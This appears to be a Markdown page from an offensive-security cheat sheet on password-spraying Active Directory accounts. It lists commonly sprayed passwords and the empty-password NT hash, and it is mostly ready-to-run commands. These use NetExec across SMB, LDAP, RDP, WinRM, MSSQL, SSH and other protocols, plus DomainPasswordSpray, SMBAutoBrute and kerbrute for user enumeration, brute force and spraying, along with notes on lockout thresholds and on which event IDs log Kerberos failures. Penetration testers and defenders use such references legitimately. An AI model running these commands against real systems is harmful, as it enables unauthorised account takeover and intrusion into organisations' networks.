87 lines
4.0 KiB
Markdown
87 lines
4.0 KiB
Markdown
# Password - Spraying
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Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
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> The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
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Most of the time the best passwords to spray are :
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- Passwords: `P@ssw0rd01`, `Password123`, `Password1`,
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- Common password: `Welcome1`/`Welcome01`, `Hello123`, `mimikatz`
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- $Companyname1:`$Microsoft1`
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- SeasonYear: `Winter2019*`, `Spring2020!`, `Summer2018?`, `Summer2020`, `July2020!`
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- Default AD password with simple mutations such as number-1, special character iteration (`*`,`?`,`!`,`#`)
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- Empty Password: NT hash is `31d6cfe0d16ae931b73c59d7e0c089c0`
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:warning: be careful with the account lockout !
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## Spray a pre-generated passwords list
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* Using [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec)
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```powershell
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nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
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nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
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nxc smb targets.txt -u Administrator -p Password123 -d domain.local
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nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
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nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
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nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
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nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
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nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
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nxc ssh targets.txt -u Administrator -p Password123
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nxc vnc targets.txt -u Administrator -p Password123
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nxc ftp targets.txt -u Administrator -p Password123
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nxc nfs targets.txt -u Administrator -p Password123
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```
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* Using [hashcat/maskprocessor](https://github.com/hashcat/maskprocessor) to generate passwords following a specific rule
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```powershell
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nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
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```
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* Using [dafthack/DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) to spray a password against all users of a domain.
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```powershell
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Invoke-DomainPasswordSpray -Password Summer2021!
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Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
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```
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* Using [shellntel-acct/scripts/SMBAutoBrute](https://github.com/shellntel-acct/scripts/blob/master/Invoke-SMBAutoBrute.ps1).
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```powershell
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Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
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Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
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```
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## BadPwdCount attribute
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> The number of times the user tried to log on to the account using an incorrect password. A value of `0` indicates that the value is unknown.
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```powershell
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$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
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LDAP 10.0.2.11 389 dc01 Guest badpwdcount: 0 pwdLastSet: <never>
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LDAP 10.0.2.11 389 dc01 krbtgt badpwdcount: 0 pwdLastSet: <never>
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```
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## Kerberos pre-auth bruteforcing
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Using [ropnop/kerbrute](https://github.com/ropnop/kerbrute), a tool to perform Kerberos pre-auth bruteforcing.
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> Kerberos pre-authentication errors are not logged in Active Directory with a normal **Logon failure event (4625)**, but rather with specific logs to **Kerberos pre-authentication failure (4771)**.
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* Username bruteforce
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```powershell
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./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
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```
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* Password bruteforce
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```powershell
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./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
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```
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* Password spray
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```powershell
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./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
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./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
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./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
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``` |